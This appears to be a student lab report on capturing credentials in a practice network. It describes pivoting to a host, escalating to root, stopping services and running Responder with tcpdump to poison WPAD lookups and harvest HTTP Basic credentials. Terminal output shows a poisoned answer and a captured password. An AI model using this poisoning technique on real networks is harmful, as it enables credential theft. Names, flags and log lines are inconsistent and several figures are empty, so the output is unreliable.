

Ex100 Submission

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Executive Summary

Project Overview

Goals

The goal of this exercise is to use Responder to capture credentials.

Risk Ranking/Profile and Summary of Findings

This finding is critical as I was able to use Responder to identify the credentials of not.nomen on devbox.artstailor.com which are credentials I was not meant to have access to.

Technical Report

Introduction

Finding: *Descriptive Name*

I found the credentials of not.nomen using Responder after granting myself root privileges on the devbox.artstailor.com system.

Risk Rating

The risk rating of this finding is critical as I am able to identify the credentials of the compromised system.

Vulnerability Description

The nature of the vulnerability is that by using root privileges and TCP dump and Responder with the flags `-I ens32 -wFb` I am able to have the system listen for activity and subsequently identify user credentials.

Confirmation method

The findings were confirmed by using `./tcpdump` to save the results and run the data on Wireshark. Utilizing Wireshark I was able to confirm that the information is correct by searching for a GET request in the info column and also looking for the wpad destination which is the relevant data type generated by Responder.

Attack Narrative

Using established credentials I logged into costumes.artstailor.com and then used proxychains to connect to t.turing@devbox.artstailor.com - and using a known exploit escalated my privileges to root (see figures 1 and 2). Following this I then copied the ssl-extras directory to windows and issued the setup.py command alongside copying Responder from kali into devbox (see figures 3, 4 and 5). I then had to shut off all programs that were interfering with Responder which were apache2 and smb (see figures 6 and 7). Once all interfering programs were disabled I then ran tcpdump and Responder simultaneously making sure to save the tcpdump data (see figures 8 and 9). From Responder I was able to identify the not.nomen credentials thus identifying that Responder can in fact be used to gather sensitive data about the users on the system (see figure 10). This was then verified utilizing wireshark where the Basic Authorization was found by looking for the wpad destination (the file type used by responder) coupled with the Get request identified in the info column (see figure 11 and 12). In another session I performed I found the same information elsewhere on wireshark and noticed that the Authorization data is automatically decrypted by wireshark (see figure 13).




Figure 1:




Figure 2:



Figure 3:


```
3983679 packets captured
4048250 packets received by filter
64564 packets dropped by kernel
root@devbox:/home/t.turing/sslstrip-extras# kill 537
bash: kill: (537) - No such process
root@devbox:/home/t.turing/sslstrip-extras# kill 527
bash: kill: (527) - No such process
root@devbox:/home/t.turing/sslstrip-extras# service apache2 stop
root@devbox:/home/t.turing/sslstrip-extras# sudo service --status-all
[ - ] alsa-utils
[ - ] anacron
[ - ] apache-htcacheclean
[ - ] apache2
[ + ] apparmor
[ + ] avahi-daemon
[ - ] bluetooth
[ - ] console-setup.sh
[ + ] cron
[ + ] cups
[ + ] cups-browsed
[ + ] dbus
[ + ] gdm3
[ - ] hwclock.sh
[ - ] keyboard-setup.sh
[ + ] kmod
[ + ] network-manager
[ + ] networking
[ - ] plymouth
[ - ] plymouth-log
[ - ] pppd-dns
[ + ] procps
[ + ] rsyslog
[ - ] saned
[ - ] speech-dispatcher
[ + ] ssh
[ - ] sudo
[ + ] udev
[ + ] unattended-upgrades
[ - ] x11-common
root@devbox:/home/t.turing/sslstrip-extras# kill 527
bash: kill: (527) - No such process
```

Figure 6:

```

t.turing@devbox: ~
File Actions Edit View Help
Try 'grep --help' for more information.
root@devbox:/home/t.turing/sslstrip-extras# netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      542/smbd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      512/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      733/cupsd
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      542/smbd
tcp6       0      0 :::139                  :::*                    LISTEN      542/smbd
tcp6       0      0 :::22                   :::*                    LISTEN      512/sshd
tcp6       0      0 :::1:631                :::*                    LISTEN      733/cupsd
tcp6       0      0 :::445                   :::*                    LISTEN      542/smbd

root@devbox:/home/t.turing/sslstrip-extras# kill 542
root@devbox:/home/t.turing/sslstrip-extras# netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      512/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      733/cupsd
tcp6       0      0 :::22                   :::*                    LISTEN      512/sshd
tcp6       0      0 :::1:631                :::*                    LISTEN      733/cupsd
root@devbox:/home/t.turing/sslstrip-extras#

```

Figure 7:

```

9211058 packets captured
9291409 packets received by filter
4834 packets dropped by kernel
root@devbox:/home/t.turing/sslstrip-extras# sudo ./tcpdump -i ens32
[HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
[*] Shipping previously captured cleartext password for out.nomen
[*] Exiting...
root@devbox:/home/t.turing/responder# python Responder.py -I ens32 -wf3

```

Figure 8:

```

root@devbox:/home/t.turing/sslstrip-extras# sudo ./tcpdump -i ens32 -v -w dump.pcap
tcpdump listening on ens32, link-type EN10MB (Ethernet), capture size 262144 bytes

```

Figure 9:

```

File Actions Edit View Help
18:35:45.483796 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822210356:822210344, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.483832 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822210354:822211140, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.483889 IP costumes.artstailor.com.8080 > 172.21.0.10:8080 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.483991 IP costumes.artstailor.com.6011 > devbox.ssh [P.], seq 822211140:822211236, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.483932 IP devbox.artstailor.com.ssh > costumes.ssh [HTTP] Basic Client : 10.70.184.101
18:35:45.483991 IP devbox.artstailor.com.ssh > costumes.ssh [HTTP] Basic Username : not-nomen
18:35:45.483994 IP 172.24.0.10:8080 > costumes.artstailor.com.8080 [HTTP] Basic Password : X1V918-0M5tQ91nAP1N9vKCP0f==
18:35:45.484091 IP costumes.artstailor.com.8080 > 172.21.0.10:8080 [*] [MD5] Poisoned answer sent to 10.70.184.101 for name upad.local
18:35:45.484031 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822211140:822211236, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.484034 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822211140:822211236, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.484034 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822211140:822211236, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36
18:35:45.484034 IP devbox.artstailor.com.ssh > costumes.ssh [P.], seq 822211140:822211236, ack 545617, win 501, len 0 [HTTP] User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36

```

Figure 10:




Figure 11:




Figure 12:




Figure 13: